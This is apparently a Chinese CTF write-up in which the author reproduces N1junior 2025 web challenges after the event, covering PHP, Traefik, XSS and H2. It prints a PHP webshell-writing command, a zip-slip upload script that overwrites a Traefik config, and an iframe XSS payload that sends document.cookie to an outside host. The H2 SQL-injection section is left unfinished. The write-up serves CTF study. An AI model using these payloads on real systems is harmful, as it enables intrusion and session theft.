N1junior2025

最近比较忙,n1junior当时报名了没去打,现在来复现一下,感谢bao师傅提供的附件

upload.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once 'common.php';

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

最后可以只传url,直接post传

/img/n1junior2025/1.png
然后avatar.php
/img/n1junior2025/2.png
可以正常读到
/img/n1junior2025/3.png
但是dockerfile可以看见flag要rce才可以读到 无脑上cn-ext,用的珂字辈师傅的脚本: https://github.com/kezibei/php-filter-iconv/blob/main/README.md cmd = “echo ‘<?=@eval($_POST[1]);?>’ > shell.php”
/img/n1junior2025/4.png

主要考了一个traefik的动态代理转发还有本地xff伪造。 我们通过查看doc可以看到traefik的动态配置是可以实时更新的。

/img/n1junior2025/5.png
所以思路就是,上传一个config文件将dynamic配置给他覆盖掉将flag路由暴露出来。 首先看一下原本的配置怎么写的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy

所以我们需要加一个路由

1
2
3
4
flag:
	rule: Path('/flag')
	entrypoints: [web]
	service: proxy

注意一下要写一个middlewares加一个hearder就行了 然后看到源码:

/img/n1junior2025/6.png
上传后就解压
/img/n1junior2025/7.png
没有校验,所以可以目录穿越,所以现在的思路就很清晰,上传一个文件目录穿越到config文件,覆盖然后将flag路由暴露出来最后伪造即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from zipfile import ZipFile
import zipfile
import requests

binary=open("dynamic.yml","r").read()

with zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED) as zipf:
    zipf.writestr("./../../.config/dynamic.yml", binary)
    print(f"[+] ZIP 文件生成完成")


def upload():
	files = {"file": ("test.zip", open("test.zip", "rb"), "application/zip")}
	res = requests.post(url = "http://192.168.174.128/public/upload" ,files = files)

	if res.status_code == 200:
		print("文件上传成功!")

if __name__ == "__main__":
	upload()
	res = requests.get(url = "http://192.168.174.128/flag")
	print(res.text)

/img/n1junior2025/8.png

很明显的一道xss题,大家说挺好玩的我就来玩玩了 这里用了DOMpurify来对标签进行过滤, hints: 用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

先看一下index路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    if (queryText) {
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));

        if (sanitizedText.length > 0) {
            textInput.innerHTML = sanitizedText;             // 写入预览区
            contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

            insertButton.disabled = false;    
        } else {
            textInput.innerText = "Only allow h1, h2 tags and plain text";
        }
    }

用的是textInput文本作为输入,然后base64编码一下,测试:

/img/n1junior2025/9.png

csp策略:

1
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";

index.js中设置了dompurify,限制了只能用h1和h2标签

/img/n1junior2025/10.png
处理异常路由,也就是404页面

1
2
3
app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

所以其实就是打404页面然后让其解析为html即可。 文章: https://www.justus.pw/writeups/sekai-ctf/tagless.html 然后标签就用实体化编码绕过就行,因为是text 最后就是iframe+srcdoc

最后playload: &#60;iframe srcdoc="&#60;script src='**/fetch(http://ip/+document.cookie);//'&#62;&#60;/script&#62;"&#62; 当然这里的实体化编码也可以用别的方式来写,然后闭合前面的/也可以利用换行来绕。 但是不知道为什么我这里打bot打不通,但是index可以打的通,可能是环境问题

/img/n1junior2025/11.png
bushi,刚写完这一段就能打通
/img/n1junior2025/12.png

来到我最不擅长的java了,但是总得面对吧,一步步来吧

1
DOCKER_BUILDKIT=1 docker-compose up -d

先起一个环境,去吃个饭,晚点来继续搞

很简单判断是H2数据库

login路由

/img/n1junior2025/13.png
跟进看到有个query的地方
/img/n1junior2025/14.png
executeQuery这里可以堆叠输入 黑名单:
/img/n1junior2025/15.png
然后不会了,马上去补知识…….. 可以看到h2的配置文件
/img/n1junior2025/16.png
然后网上看了大概有几种打法,还在学习中呜呜呜,但是这里是利用alies可以写一个方法来调用去弹shell或者其他操作,太晚了,该休息了………….

Related Content